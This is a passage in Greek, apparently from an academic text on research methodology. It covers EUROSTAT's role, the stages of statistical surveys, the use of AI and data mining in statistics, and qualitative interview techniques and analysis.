δεσμευτικές οδηγίες ή κανονισμούς για κάθε χώρα - μέλος. Οι έρευνες με τις συγκεκριμένες προδιαγραφές, δεν πραγματοποιούνται απευθείας από τη EUROSTAT, αλλά από τους επίσημους φορείς στατιστικής πληροφόρησης της κάθε χώρας – μέλους. Ο ρόλος της EUROSTAT είναι η παραλαβή του πρωτογενούς υλικού ερευνών και μετά από τους απαιτούμενους ελέγχους ποιότητας και πληρότητας αυτών προχωρά στην παραγωγή στατιστικών σειρών σε ευρωπαϊκό επίπεδο. Ένας άλλος σημαντικός ρόλος της EUROSTAT ως κύριου φορέα της Commission, είναι η ευθύνη για την ανάπτυξη του στατιστικού συστήματος της Ευρωπαϊκής Ένωσης και την προκήρυξη διαφόρων ερευνητικών προγραμμάτων. Οι Στατιστικές Υπηρεσίες, τα Πανεπιστήμια και άλλοι ερευνητικοί φορείς, δημόσιοι ή ιδιωτικοί, έχουν δικαίωμα συμμετοχής στα ερευνητικά αυτά προγράμματα, συνήθως με την συγκρότηση διακρατικών συμπράξεων, γνωστών ως Consortia. H EUROSTAT είναι επίσης ο φορέας που χρηματοδοτεί την προσαρμογή των εθνικών συστημάτων πληροφόρησης στο λεγόμενο κοινοτικό κεκτημένο, δράση που αφορά σε μεγάλο βαθμό τις χώρες που βρίσκονται στο στάδιο προς ένταξη στην Ευρωπαϊκή Ένωση. Η Ελλάδα απορρόφησε μεγάλα ποσά χρηματοδότησης για τον παραπάνω σκοπό και προσάρμοσε το σύστημά της στο αντίστοιχο της Ευρωπαϊκής Ένωσης, αλλά όπως ήδη αναφέραμε, η έλλειψη ολοκληρωμένου και κεντρικού σχεδιασμού έχει επιφέρει μεγάλα προβλήματα έγκαιρης ανταπόκρισης στις κοινοτικές υποχρεώσεις. Το ευρωπαϊκό στατιστικό σύστημα είναι αρκετά ορθολογικό και ανταποκρίνεται σε μεγάλο βαθμό στον ρόλο του. Η τεράστια όμως ζήτηση στατιστικών δεδομένων σε πανευρωπαϊκό επίπεδο, δημιουργεί αρκετά προβλήματα στη δυνατότητα προσφοράς τους. Έτσι αναζητούνται τρόποι συνεχούς αναπροσαρμογής τους, μέσω της καθιέρωσης προτεραιοτήτων (priorities) και περιορισμού υπαρχουσών ερευνών μικρότερης σημασίας. Στατιστική έρευνα Με τον όρο «Στατιστική Έρευνα» ορίζεται η επιστημονική μεθοδολογία που αποσκοπεί στη συστηματική συλλογή, επεξεργασία, παρουσίαση, ανάλυση και ερμηνεία αριθμητικών δεδομένων που αναφέρονται σε χαρακτηριστικά πολυπληθών ομάδων. Είναι φανερό πως ο όρος ‘Στατιστική Έρευνα’, μας υποψιάζει για μια έρευνα στατιστικής φύσεως. Το περιεχόμενο της στατιστικής έρευνας βασίζεται κυρίως σε αριθμητικά δεδομένα και διενεργείται συνήθως μέσω του ερωτηματολογίου. Τα ερωτήματα στα οποία απαντάει, είναι ποσοτικά και είναι της μορφής: Πόσοι; Ποιοι; Πότε; Από τον παραπάνω ορισμό, συνεπάγεται ότι η στατιστική έρευνα δεν αναφέρεται απλώς στην καταγραφή αριθμητικών δεδομένων, αλλά στη χρήση μεθόδων και τεχνικών για την παραγωγή πληροφοριών απαραίτητων για την ανθρώπινη δράση. Η προσοχή των ερευνητών δε θα πρέπει να συγκεντρώνεται μόνο στην ανάλυση των στατιστικών στοιχείων, αλλά και στην ποιότητα αυτών, η οποία εξαρτάται από

τον τρόπο και τις μεθόδους συλλογής, επεξεργασίας και παρουσίασής τους. 38 Η στατιστική έρευνα δεν αποτελεί επιστήμη, αλλά επιστημονική μέθοδο όπως αναφέραμε παραπάνω, ένα ιδιαίτερα χρήσιμο εργαλείο για την έρευνα και τη λήψη αποφάσεων. Η συλλογή και η ανάλυση δεδομένων, γίνεται με σκοπό τη χρήση τους σε διάφορους επιστημονικούς κλάδους. Έτσι όταν τα στοιχεία συλλέγονται για τις ανάγκες της αγοράς αγαθών και υπηρεσιών, χρησιμοποιείται ο όρος «Έρευνα Αγοράς», όταν η χρήση αυτών γίνεται με σκοπό την εξαγωγή πολιτικών συμπερασμάτων έχει καθιερωθεί διεθνώς με τον όρο «Gallop», ενώ όταν γίνεται χρήση στον τομέα των κοινωνικών επιστημών, αναφερόμαστε στον όρο «Κοινωνική Στατιστική Έρευνα». Στην ουσία πρόκειται για όμοιες τεχνικές που προέρχονται από τη στατιστική επιστήμη και εμπεριέχονται στον όρο «Στατιστική Έρευνα» (Statistical Survey). Παρακάτω, η εμβάθυνση στα πεδία εφαρμογής της στατιστικής έρευνας, θα μας κάνει να αντιληφθούμε σαφώς τη λειτουργία της.

Στατιστική Έρευνα και Εφαρμογές Κάθε είδος στατιστικής έρευνας περιλαμβάνει μια σειρά διαδικασιών, απαραίτητων για τη σωστή διεκπεραίωσή της. i. Αξιοποίηση ανάγκης για διενέργεια Στατιστικής Έρευνας Η ανάγκη για τη διενέργεια στατιστικής έρευνας, δηλαδή η συλλογή πρωτογενών στοιχείων, προκύπτει όταν η επιχείρηση δεν δύναται να τα έχει ήδη υπό την κατοχή της με άλλο τρόπο, ενώ είναι απαραίτητα για τον προγραμματισμό και τη διεκπεραίωση σημαντικού μέρους των εργασιών της. Πράγματι, ενώ η επιχείρηση μπορεί να κατέχει ήδη στοιχεία που αφορούν τις πωλήσεις, τα κέρδη, το κόστος και άλλα σημαντικά για τη λειτουργία της δεδομένα, δεν είναι σε θέση να γνωρίζει με ακρίβεια τις διαθέσεις και κατά συνέπεια την ανταπόκριση της αγοράς στα σχέδιά της και στις μεταβολές των κοινωνικοοικονομικών συνθηκών που γίνονται γύρω της. ii. Διερεύνηση αναγκών για ποσοτικά στοιχεία Στο αρχικό στάδιο μιας μελέτης, ο ερευνητής προσδιορίζει συνολικά τις απαιτήσεις για το είδος και την έκταση των στατιστικών πληροφοριών που θα παραχθούν. Πριν τη λήψη των τελικών αποφάσεων προηγείται ανάλυση και συνεκτίμηση του κόστους, των ωφελειών και των εναλλακτικών λύσεων που υπάρχουν, όπως επίσης η εκτίμηση τυχόντων νομικών περιορισμών που αφορούν στην παραγωγή των εν λόγω στατιστικών αποτελεσμάτων. iii. Εντοπισμός πηγών στατιστικών δεδομένων. Μετά την κατάρτιση του ανωτέρω προγράμματος , προσδιορίζονται οι διαδικασίες και οι ενέργειες που πρέπει να ακολουθηθούν για να έλθει εις πέρας. Έτσι, εκτιμάται ο βαθμός διαθεσιμότητας των αναγκαίων στατιστικών δεδομένων και ακολουθεί ο σχεδιασμός της μεθοδολογίας συλλογής των μη διαθέσιμων στοιχείων. Η επιλογή των πηγών από τις οποίες θα γίνει η συλλογή τους, καθώς και ο τρόπος διενέργειας αποτελούν μια

χρονοβόρα και μεγάλης δυσκολίας διαδικασία εφόσον πρέπει να προβλεφθούν με μεγάλη ακρίβεια οι απαραίτητες κινήσεις που θα πρέπει να ακολουθηθούν. iv. Διαχείριση της πληροφορίας για τη λήψη αποφάσεων και την υποστήριξη της επιστημονικής έρευνας Οι διαδικασίες που οδηγούν στη συλλογή και την αξιοποίηση των στατιστικών δεδομένων για τις ανάγκες της έρευνας, θα πρέπει να επιλέγονται συστηματικά και σύμφωνα με ορισμένες αρχές. Αυτό επιτυγχάνεται με τη συγκρότηση ενός ενιαίου συστήματος, το λεγόμενο σύστημα πληροφοριών, που αναλύσαμε στο πρώτο κεφάλαιο. Κάθε σύστημα πληροφοριών θα πρέπει με τη σειρά του να διέπει μια σειρά αρχών και στρατηγικής σημασίας χαρακτηριστικών όπως: -

Ο βαθμός ολοκλήρωσης των Πληροφοριακών Συστημάτων

-

Ο βαθμός ενσωμάτωσης των Πληροφοριακών Συστημάτων στο σύστημα λήψης αποφάσεων και ανάπτυξης της έρευνας

-

Ο βαθμός συγκεντρωτικής λειτουργίας των Πληροφοριακών Συστημάτων

-

Ο βαθμός αξιοποίησης τεχνικών μέσων ανάλυσης και υποδειγμάτων

-

Ο βαθμός επάρκειας των Πληροφοριακών Συστημάτων

-

Το γεωγραφικό επίπεδο αναφοράς της στατιστικής πληροφόρησης

Τα στάδια της Στατιστικής Έρευνας και ο ρόλος τους Η Στατιστική Έρευνα πραγματοποιείται σε τρεις φάσεις, για την επιτυχία των οποίων απαιτούνται πολύπλοκες εργασίες που αλληλοεπηρεάζονται μεταξύ τους: i. Σχεδιασμός και προπαρασκευή της Στατιστικής Έρευνας Διαδικασία κατά την οποία δημιουργείται και αναπτύσσεται ένα πλάνο, σύμφωνα με στο οποίο βασίζεται μετέπειτα ολόκληρη η έρευνα. Η ακριβής οργάνωση και η σχολαστική προετοιμασία μιας έρευνας, αποτελεί βασική προϋπόθεση για την επιτυχία της. Κατά τη διάρκειά της γίνονται: - Προσδιορισμός και εξειδίκευση του κεντρικού στόχου της έρευνας - Προσδιορισμός πληθυσμού στον οποίο θα διενεργηθεί η έρευνα - Κατάρτιση προϋπολογισμού και εξασφάλιση κεφαλαίου - Κατάρτιση χρονοδιαγράμματος, επιλογή χρόνου διενέργειας και περιόδου αναφοράς της έρευνας Εργασίες μεγάλης σημασίας, εφόσον λέγεται οι πως καλύπτουν τη διαδικασία θεμελίωσης της έρευνας (establishment). - Σύνταξη ερωτηματολογίου και οδηγιών συμπλήρωσής του Επιλογή και εκπαίδευση των ερευνητών - Σχέδιο δειγματοληψίας - Σχέδια πινάκων και οδηγιών ελέγχου των ερωτηματολογίων - Κατάρτιση μηχανογραφικών προγραμμάτων

- Έρευνα ‘πιλότος’ (Pilot Survey) - Δημοσιοποίηση Εργασίες οι οποίες καλύπτουν όλες τις οργανωτικές εργασίες που απομένουν και τις μεθοδολογικές επιλογές που πρέπει να πραγματοποιηθούν στα πλαίσια της προετοιμασίας. Όλες οι παραπάνω οργανωτικές εργασίες, είναι απαραίτητες για τη διεξαγωγή της έρευνας καθώς και η επιλογή των διαφόρων μεθόδων που θα χρησιμοποιηθούν στα διάφορα στάδιά της. Στο αρχικό στάδιο της έρευνας περιλαμβάνονται και εκτελεστικές στατιστικές εργασίες, που επηρεάζουν σημαντικά τα αποτελέσματα της έρευνας. Για το λόγο αυτό, οι σχετικές εργασίες πρέπει να εκτελούνται σχολαστικά. Οποιαδήποτε παράληψη ή ατέλεια στο οργανωτικό στάδιο μιας έρευνας, δύσκολα καλύπτεται ή διορθώνεται κατά το στάδιο της εκτέλεσης. Παρά τη μεγάλη σημασία του σχεδιασμού και της οργάνωσης μιας στατιστικής έρευνας, πολλές φορές παρακάμπτονται ή εκτελούνται πλημμελώς κάποιες από τις προγραμματισμένες εργασίες. Βασική αιτία μιας τέτοιας ενέργειας, είναι η ελαχιστοποίηση του κόστους της έρευνας. Το επιχείρημα βέβαια περιορισμού του κόστους, δεν πρέπει σε καμία περίπτωση να αποτελεί ‘άλλοθι’ διεξαγωγής μιας έρευνας με πρόχειρο τρόπο, με κίνδυνο ένα ασαφές και αβέβαιο αποτέλεσμα. Ο σχεδιασμός κατά τον οποίο ακολουθούνται κάποια συγκεκριμένα βήματα και καλείται ως ‘Μεθοδολογικός Σχεδιασμός’, περιγράφει το σύνολο των επιλογών που πρέπει να πραγματοποιηθούν σε κάθε ένα από τα στάδια της έρευνας, μεταξύ εναλλακτικών μεθόδων της στατιστικής επιστήμης ii. Διενέργεια της Στατιστικής Έρευνας Διαδικασία κατά την οποία πραγματοποιούνται κανονικά όλα τα βήματα διεξαγωγής της έρευνας. Βήματα στα οποία περιλαμβάνονται όλες οι εναλλακτικές μέθοδοι συλλογής και επεξεργασίας στατιστικών δεδομένων και προγραμματίζονται συστηματικά οι διαδικασίες που πρέπει να επακολουθήσουν. Η επιτυχής συλλογή στατιστικών δεδομένων (Field Work), εξαρτάται από τον βαθμό στον οποίο ο σχεδιασμός της στατιστικής έρευνας είναι ρεαλιστικός. Ιδιαίτερη προσοχή πρέπει να δίνεται κατά την εκτέλεση των εργασιών και οι υπεύθυνοι της έρευνας θα πρέπει να πραγματοποιούν συνεχή επίβλεψη και ελέγχους στους ερευνητές, έτσι ώστε να δίνονται άμεσα λύσεις σε προβλήματα που είναι πιθανό να προκύψουν. Γενικότερα, κατά τη διάρκεια της έρευνας οι κίνδυνοι για λάθη είναι πολλοί. Για τον λόγο αυτό, θα πρέπει να χρησιμοποιούνται ειδικές κατά περίπτωση τεχνικές. Η ελαχιστοποίηση των λαθών, κυρίως των μη δειγματοληπτικών, επιχειρείται με μια σειρά τεχνικών και μετά την ολοκλήρωση της έρευνας, στο στάδιο της επεξεργασίας των στατιστικών δεδομένων. Η παράληψη, η μη έγκαιρη ή η εσφαλμένη εκτέλεση μιας εργασίας κατά τη διάρκεια Στατιστικής Έρευνας, μπορεί να δημιουργήσει μεγάλα προβλήματα, όχι μόνο στην ποιότητά της, αλλά ακόμα και

στη δυνατότητα ολοκλήρωσής της. Για την επιτυχία μιας τέτοιας έρευνας, απαιτείται λεπτομερής σχεδιασμός του τρόπου διενέργειάς της, πλήρης οργάνωση των εργασιών και παρακολούθηση της εξέλιξής τους σε κάθε φάση της ξεχωριστά, έτσι ώστε να έχουμε ένα σωστό αποτέλεσμα και στον κατάλληλο χρόνο. Η μεγιστοποίηση της χρησιμότητας της έρευνας, επιτυγχάνεται με την εφαρμογή των κατάλληλων μεθόδων μηχανογραφικής επεξεργασίας των δεδομένων που συνελλέγησαν, γεγονός που οδηγεί στην παραγωγή και στη διάχυση της στατιστικής πληροφορίας, που είναι και ο τελικός στόχος της κάθε έρευνας. iii. Μετερευνητικές εργασίες Διαδικασίες όπως η επεξεργασία των δεδομένων, η παρουσίαση των αποτελεσμάτων, η αποθήκευση των δεδομένων, η ανάλυση των αποτελεσμάτων και η σύνταξη της έκθεσης στην οποία εμπεριέχονται τα συμπεράσματα των ερευνητών. Στα στάδια αυτά, μετατρέπεται ουσιαστικά η στατιστική πληροφορία σε συμπέρασμα. Οι τελικές και συγκεκριμένα οι πιο ουσιαστικές εργασίες, είναι η παρουσίαση και η ανάλυση των δεδομένων. Οι εξελίξεις της τεχνολογίας και οι εφαρμογές της τεχνητής νοημοσύνης στην Στατιστική Έρευνα Σημείο άξιο να τονιστεί, η εξέλιξη της τεχνολογίας και η επίδρασή της στις επιστήμες. Μεγάλο ενδιαφέρον παρουσιάζει και η εξέλιξη αυτή στη στατιστική επιστήμη. Γεγονός που με την εισαγωγή νέων εργαλείων, έδωσε στους ερευνητές τη δυνατότητα χρήσης ηλεκτρονικών υπολογιστών, μέσω των οποίων βελτιώθηκαν θέματα όπως οι τηλεπικοινωνίες και η ανάλυση των δεδομένων. Ο μεγάλος όγκος δεδομένων προς επεξεργασία, ακόμα και σε μια μικρής έκτασης έρευνα, θα ήταν υπερβολικά δύσκολη, αν όχι αδύνατη, χωρίς τη χρήση τους. Επίσης, ένα άλλο χρήσιμο εργαλείο που εισήχθη με την εξέλιξη της τεχνολογίας, είναι κάποια στατιστικά προγράμματα, φιλικά ακόμα και σε χρήστες μη ειδικούς στην πληροφορική, λεγόμενα ως ‘στατιστικά πακέτα’. Η χρήση των εργαλείων αυτών, απαλλάσσει τους ερευνητές από χρονοβόρες διαδικασίες, όπως η δημιουργία πινάκων και διαγραμμάτων, η εύρεση διαφόρων τιμών όπως διακύμανση και άλλων, διότι δίνει τη δυνατότητα ταχύτατης και λεπτομερούς διεκπεραίωσης της κάθε εργασίας, χωρίς σφάλματα, δίνοντας έτσι αμεσότητα στην ανάλυση των αποτελεσμάτων. Με την πάροδο του χρόνου, ο τεράστιος όγκος δεδομένων που πλέον είναι διαθέσιμος σε βάσεις δεδομένων και η δυνατότητα πρόσβασης σε αυτά μέσω του διαδικτύου, κατέστησε ανεπαρκή τα σχετικά συστήματα διαχείρισης. Έτσι προέκυψε η ανάγκη για ειδικά προγράμματα με δυνατότητα μαζικής επεξεργασίας δεδομένων και μάλιστα σε μικρά χρονικά διαστήματα όπως προαναφέραμε. Η οργανωμένη αυτή εκμετάλλευση στατιστικών στοιχείων, διαφέρει από μια απλή περιήγηση στο διαδίκτυο και καλείται ως ‘web farming’. Η διαδικασία αυτή, αποτελεί την εισαγωγή της τεχνητής

νοημοσύνης (artificial intelligent) στον τομέα της παραγωγής στατιστικών πληροφοριών μέσω διαφόρων επιλογών, από ένα μεγάλο όγκο δεδομένων. Στην πραγματικότητα, η εξόρυξη δεδομένων (data mining) γίνεται με διαδικασίες που δεν ελέγχονται από τον χρήστη, συγκεκριμένα τον στατιστικό επιστήμονα. Τα στοιχεία προέρχονται από βάσεις δεδομένων, συγκεντρωμένων και ελεγμένων από άλλους και τα συμπεράσματα για το εξεταζόμενο θέμα γίνονται με τεχνικές οι οποίες δεν επιλέγονται από τον ενδιαφερόμενο χρήστη. Μια πιθανή εξέλιξη για μια τέτοια διαδικασία, θα είναι η απλή διατύπωση του προβλήματος από τον χρήστη και στη συνέχεια η λήψη της αναμενόμενης απάντησης, χωρίς ενδιάμεση επέμβασή του στις επιμέρους διαδικασίες. Μια τέτοια εξέλιξη, εκτός φυσικά από την ανεξέλεγκτη και επικίνδυνη χρήση της πληροφορίας, πιθανώς να απαξιώσει και το επάγγελμα του στατιστικού. Φόβοι που εκφράζονται στους περισσότερους επιστημονικούς κύκλους, εξαιτίας της ραγδαίας εξέλιξης των τεχνολογικών μέσων. Ελπίδα όλων είναι πως κάτι τέτοιο θα περιοριστεί μόνον για απλοϊκούς εμπορικούς σκοπούς. Η γνώση της ποιότητας των στατιστικών δεδομένων από εξειδικευμένους ερευνητές και η κατά περίπτωση επιλογή της καταλληλότερης μεθόδου ανάλυσης, δεν μπορεί να αντικατασταθεί από τη χρήση άγνωστων ουσιαστικά στατιστικών δεδομένων άγνωστης προέλευσης, ακόμα και αυτών που προέρχονται από εξελιγμένα νευρωνικά δίκτυα (neural networks). Συνεπώς η χρήση τόσο εξελιγμένων μεθόδων επεξεργασίας και ανάλυσης δεδομένων, είναι σκόπιμο να γίνεται εκεί που απαιτείται, όπως με τη χρήση στατιστικών πακέτων και όχι αλόγιστα, για την αποφυγή λανθασμένων ή ανακριβών αποτελεσμάτων και για την αξιοποίηση έμπειρων επιστημόνων προς τη σωστή συνέχεια και ανάπτυξη του κλάδου τον οποίο αντιπροσωπεύουν. Ποιοτική έρευνα Η συνηθέστερη προσέγγιση για τη συλλογή πληροφοριών σχετικών με τη συμπεριφορά, τη στάση, τη γνώμη και τα χαρακτηριστικά των καταναλωτών είναι η άμεση ερώτηση. Χρήσιμο, αν όχι απαραίτητο, εργαλείο για τη διαδικασία αυτή είναι το ερωτηματολόγιο. Τόσο ο ερευνητής όσο και ο ερωτώμενος θα πρέπει να έχουν ένα κοινό στόχο, την σε βάθος διερεύνηση ενός φαινομένου. Βασικό ρόλο για την επιτυχία μιας συνέντευξης, παίζει η δομή της. Η δομή μιας συνέντευξης μπορεί να είναι απόλυτα προκαθορισμένη ή συνειρμικά ελεύθερη. Μέθοδοι διενέργειας Ποιοτικής Έρευνας Συνέντευξη σε βάθος i. Η διαδικασία της συνέντευξης και δεξιότητες για την επιτυχία της Οι ερευνητές θα πρέπει να είναι ακριβώς καταρτισμένοι και εκπαιδευμένοι, γεγονός που επιτυγχάνεται κυρίως μέσω της πρακτικής εξάσκησής τους. Γεγονός απαραίτητο για την έναρξη της συνέντευξης, η ανακοίνωση του σκοπού της στους συμμετέχοντες, καθώς και κάθε

βήμα μέχρι την ολοκλήρωσή της. Σε έρευνες μεγαλύτερης σημαντικότητας που μπορεί να πραγματοποιούνται με μαγνητοσκόπηση ή βιντεοσκόπηση, ο συμμετέχων μπορεί να χρειαστεί να συναινέσει ακόμα και γραπτά. Πρώτο μέλημα για την επιτυχία μιας συνέντευξης, είναι η διασφάλισης ενός κλίματος εμπιστοσύνης. Κάτι τέτοιο μπορεί να επιτευχθεί με τις λεγόμενες ‘δεξιότητες προσεκτικής παρακολούθησης’ από τον ερευνητή. Κινήσεις, όπως η οπτική επαφή, η στάση του σώματος, οι χειρονομίες, οι ευγενείς χαρακτηρισμοί, θα μπορούσαν να εμπνεύσουν εμπιστοσύνη στον ερωτώμενο, με αποτέλεσμα την καλύτερη διεξαγωγή της συνέντευξης. Η εξέλιξη της συνέντευξης θα πρέπει να γίνεται κλιμακωτά. Να ξεκινά από θέματα ανώδυνα, κοινώς αποδεκτά και να εξελίσσεται σε ζητήματα που άπτονται των ενδόμυχων σκέψεων ή απόψεων του ερωτώμενου. Δεύτερη κατηγορία δεξιοτήτων που πρέπει να εφαρμόζονται από τους ερευνητές, είναι οι λεγόμενες ‘αντανακλαστικές δεξιότητες’ που δίνουν τη δυνατότητα ενεργητικής προβολής του συναισθηματικού και λογικού περιεχομένου του λόγου του ερωτώμενου. Η έκθεση ενός γεγονότος αφήνοντας ερωτηματικά, είναι ένας πολύ ωραίος τρόπος εφαρμογής τους. Τέλος, οι ‘δεξιότητες διευκρίνησης’ είναι αυτές που επιτρέπουν την αναπαλαίωση προηγούμενων λόγων του ερωτώμενου και δίνουν την ευκαιρία στον ερευνητή να αντλήσει μεγαλύτερο αριθμό πληροφοριών. . ii. Επεξεργασία και ανάλυση των πληροφοριών της συνέντευξης Αν και η ποσοτική έρευνα είναι μικρής εμβέλειας, παράγει πληθώρα πληροφοριών καθώς εμπεριέχει την κωδικοποίηση των δεδομένων ή την απομαγνητοφώνηση της συνέντευξης, τις σημειώσεις του ερευνητή, τα ερωτήματα της έρευνας, την ανάλυση του περιεχομένου, καθώς και το ημερολόγιό του το οποίο περιλαμβάνει γεγονότα που έχουν καταγραφεί σε όλη τη διάρκεια της έρευνας. Η παραγωγή των πληροφοριών αυτών, γίνεται με έναν από τους παραπάνω τρόπους, ανάλογα πάντα με τη μορφή της έρευνας. Συγκεκριμένα, η διαδικασία της απομαγνητοφώνησης, είναι μια χρονοβόρα διαδικασία. Όσο πιο συνεπής είναι η συνέντευξη, τόσο πιο μεγάλος είναι και ο όγκος των δεδομένων που πρέπει να αποκρυπτογραφηθούν. Τα δεδομένα, όποιας μορφής και αν είναι όπως προαναφέραμε, δεν μπορούν να δώσουν μόνα τους συμπεράσματα. Το σημαντικότερο έργο του ερευνητή, είναι η σημασιολογική προσπέλαση, η κωδικοποίηση και καταχώρηση των αποτελεσμάτων και άλλες διαδικασίες που θα τον οδηγήσουν σε τελικά συμπεράσματα. Σε αντίθεση με την ανάλυση των αποτελεσμάτων στη Στατιστική Έρευνα, η επεξεργασία των δεδομένων στην ποιοτική έρευνα μπορεί ακόμα και να διαμορφώσει την πορεία της έρευνας. Η ποιοτική μέθοδος είναι δυναμική, καθώς διέπεται από εύκαμπτους κανόνες και η ερμηνευτική προσέγγισή της δεν έχει ως επιδίωξη την καθιέρωση μιας καθολικής αλήθειας, αλλά την εσωτερίκευση ενός φαινομένου. Το γεγονός αυτό δεν είναι μεμπτό, αλλά αποτελεί βασική

προϋπόθεση της ποιοτικής έρευνας. 46 Κατά το πρώτο στάδιο της ποιοτικής έρευνας, πραγματοποιείται συχνά η κωδικοποίηση των δεδομένων έτσι ώστε να διευκολυνθεί η μετέπειτα εννοιολογική κατηγοριοποίηση. Το σύστημα συμβόλων που θα χρησιμοποιηθεί, μπορεί να είναι απλό ή περίπλοκο ανάλογο με τη φύση των δεδομένων. Η κωδικοποίηση μπορεί να εξελιχθεί σε καταγραφή συχνοτήτων των απαντήσεων και να αναλυθεί ακόμα και ποσοτικά, μέσω της στατιστικής έρευνας, με τη μορφή ποσοστών, κατανομών, πινακοποιήσεων, γεγονός όχι απόλυτα θεμιτό εφόσον τελικός σκοπός είναι η ερμηνευτική σημασία. Η ποιοτική έρευνα χρησιμοποιεί αναλυτικές κατηγορίες περιγραφής των κοινωνικών φαινομένων. Οι κατηγορίες αυτές εξάγονται επαγωγικά από τα δεδομένα των συνεντεύξεων ή απαγωγικά μέσω του θεωρητικού φίλτρου με το οποίο ο ερευνητής προσεγγίζει τις συνεντεύξεις. Τα δεδομένα της συνέντευξης είναι ο οδηγός βάσει του οποίου μορφοποιούνται οι θεματικές ενότητες που θα προκύψουν από την πολλαπλή επεξεργασία της συνέντευξης, οποιαδήποτε και αν είναι η μορφή της. Ο ερευνητής διατυπώνει τα επιμέρους νοηματικά σύνολα και προσπαθεί να τα επιβεβαιώσει ή να τα απορρίψει ανάλογα με όσα έχουν ειπωθεί από τον ερωτώμενο. Συνοψίζοντάς τα, ακολουθεί δύο βασικά βήματα προς την αποπεράτωση του σκοπού του: Καταγραφή λίστας ή ιεραρχίας θεματικών ενοτήτων της συνέντευξης Κατανόηση σε βάθος των δεδομένων – φράσεων, που αντιπαραβάλλονται και κρίση της καταλληλότητάς τους προς ένταξη σε μια συγκεκριμένη θεματική ενότητα. Η ομαδοποίηση αυτή, απλοποιεί κατά πολύ τον κυκεώνα των νοημάτων και δίνει τα εναύσματα για τη μορφοποίηση της θεωρίας. Η διαδικασία αυτή, ξεκινά αρχικά από κάθε συνέντευξη ξεχωριστά και σταδιακά επεκτείνεται στο σύνολο των συνεντεύξεων οι οποίες συγκρίνονται μεταξύ τους έτσι ώστε να εντοπιστούν οι ομοιότητες και οι διαφορές. Πιο συγκεκριμένα, ο ερευνητής καλείται να ενοποιεί όλα τα κοινά στοιχεία που παρουσιάζονται μέσω των συνεντεύξεων, γεγονός που διευκολύνει τον έλεγχο της θεωρίας του και προσπαθεί να ερμηνεύσει τη διαφορετικότητα των στοιχείων αυτών. Η συνολική διαδικασία είναι καθαρά ερμηνευτική και επηρεάζεται άμεσα από τον θεωρητικό προσανατολισμό του ερευνητή. Παρακάτω ακολουθεί η σειρά των απαραίτητων βημάτων που καλείται να ακολουθήσει ο ερευνητής. Χωρισμός συνεντεύξεων σε θεματικές ενότητες Ομαδοποίηση δεδομένων προς τον σχηματισμό των θεματικών ενοτήτων Πιστότητα στην ακολουθία των βημάτων σε κάθε συνέντευξη Ενοποίηση όμοιων στοιχείων των επιμέρους συνεντεύξεων προς τον σχηματισμό ευρύτερων νοηματικών κατηγοριών Απομόνωση ασύμφωνων στοιχείων ώστε να μην ερμηνευθούν

Ένταξη εξω-λεκτικών μηνυμάτων και άσχετες με το θέμα παρατηρήσεις που μπορεί να λαμβάνουν βαθύτερο νόημα, στο θεματικό πλαίσιο της συνέντευξης κατόπιν επεξεργασίας Σύνοψη και ενσωμάτωση θεματικών ενοτήτων στο κοινωνικο-θεωρητικό πλαίσιο προκειμένου να στηρίξει ή όχι τις υποθέσεις του Θεμελίωση ερευνητικού σχεδίου του και συνεχείς αναφορές σε αυτή

Στάδια ανάλυσης δεδομένων συνέντευξής Τα στάδια της ανάλυσης των δεδομένων που προέρχονται από συνεντεύξεις δύναται να τυποποιηθούν στα: ι. Εξοικείωση Εμβάθυνση στα πρωτογενή δεδομένα μέσω της πολλαπλής ακρόασης του μαγνητοφωνημένου υλικού, της συστηματικής μελέτης των απομαγνητοφωνήσεων και των σημειώσεων, με σκοπό την απαρίθμηση και καταγραφή των βασικών ιδεών και των πιθανώς επανεμφανιζόμενων μηνυμάτων. ιι. Προσδιορισμός θεματικών ενοτήτων Εντοπισμός όλων των βασικών ιδεών, νοημάτων και θεμάτων βάσει των οποίων τα δεδομένα μπορούν να συνδεθούν και να συσχετισθούν. Αυτό επιτυγχάνεται με τον εκ των προτέρων εντοπισμό θεμάτων και ερωτήσεων που προκύπτουν από τους στόχους της έρευνας. Το τελικό προϊόν αυτού του σταδίου είναι ένας κατάλογος πληροφοριών που κατηγοριοποιείται σε ενότητες, διευκολύνοντας την ανάλυσή του. ιιι. Δημιουργία καταλόγου Αντιστοίχιση των δεδομένων με το θεματικό πλαίσιο και συστηματική κατηγοριοποίηση όλων των πληροφοριών σε ευρύτερες νοηματικές ενότητες. Απλές Τεχνικές Ποιοτικής Έρευνας Οι λεγόμενες ‘τεχνικές της συμβουλευτικής’ μπορεί να παίξουν καταλυτικό ρόλο στην άντληση πληροφοριών από τον συμμετέχοντα. Αξίζει να αναφερθούμε σε κάποιες από αυτές, με σκοπό την κατανόηση ενός μεθοδευμένου τρόπου διενέργειας μιας έρευνας. Επανάληψη της τελευταίας ειπωθήσας φράσης, με σκοπό την ανατροφοδότηση της συζήτησης και την ενίσχυση του ερωτώμενου να αναπτύξει τη σκέψη του Διενέργεια περίληψης κατά τη διάρκεια της έρευνας ανά τακτά χρονικά διαστήματα, γεγονός που κάνει φανερό στον ερωτώμενο το ενδιαφέρων του ερευνητή, δίνει την αίσθηση ότι είναι καλός ακροατής και δίνει την ευκαιρία άρσης τυχόντων σφαλμάτων Ενθάρρυνση προς τον συμμετέχοντα, τονίζοντάς του πόσο ενδιαφέρουσες είναι οι απόψεις του Σχολιασμός από τον ερευνητή, όπου φυσικά είναι απαραίτητος, προβάλλοντας με αυτόν τον τρόπο τη δική του άποψη ή εμπειρία. Κάτι τέτοιο μπορεί να συμβεί αν για παράδειγμα ο ερευνητής πιστεύει πως κάτι τέτοιο θα κινητοποιούσε τον συμμετέχοντα

Πρόκληση, κατά την οποία ο ερευνητής παραθέτει αντίθετες απόψεις από αυτές του συμμετέχοντα, χωρίς φυσικά να προβεί σε αντεγκλήσεις επιχειρημάτων Χρονικά όρια τα οποία πρέπει να σέβεται ο ερευνητής και να μην εκβιάζει καταστάσεις. Είναι καλό, λίγο πριν το τέλος της συνέντευξης, ο ερευνητής να ανακοινώνει στον ερωτώμενο την ολοκλήρωσή της και να τον ρωτάει για ενδεχόμενες προσθέσεις Σημειώσεις μέσω των οποίο γίνεται η καταγραφή εξω-λεκτικών μηνυμάτων του ερωτώμενου, ή ακόμα και συναισθημάτων που τυχόν διαχέονται. Τέτοια θα μπορούσαν να είναι άγχος, ένταση, επιπολαιότητα, άγνοια, παρεμβολές, περισπασμοί. Ομαλή ολοκλήρωση της συνέντευξης, κατά την οποία ο ερευνητής θα πρέπει λίγο πριν το τέλος να ενημερώσει για τον ερωτώμενο Αποφυγή πρόκλησης έντονων και ειδικά δυσάρεστων 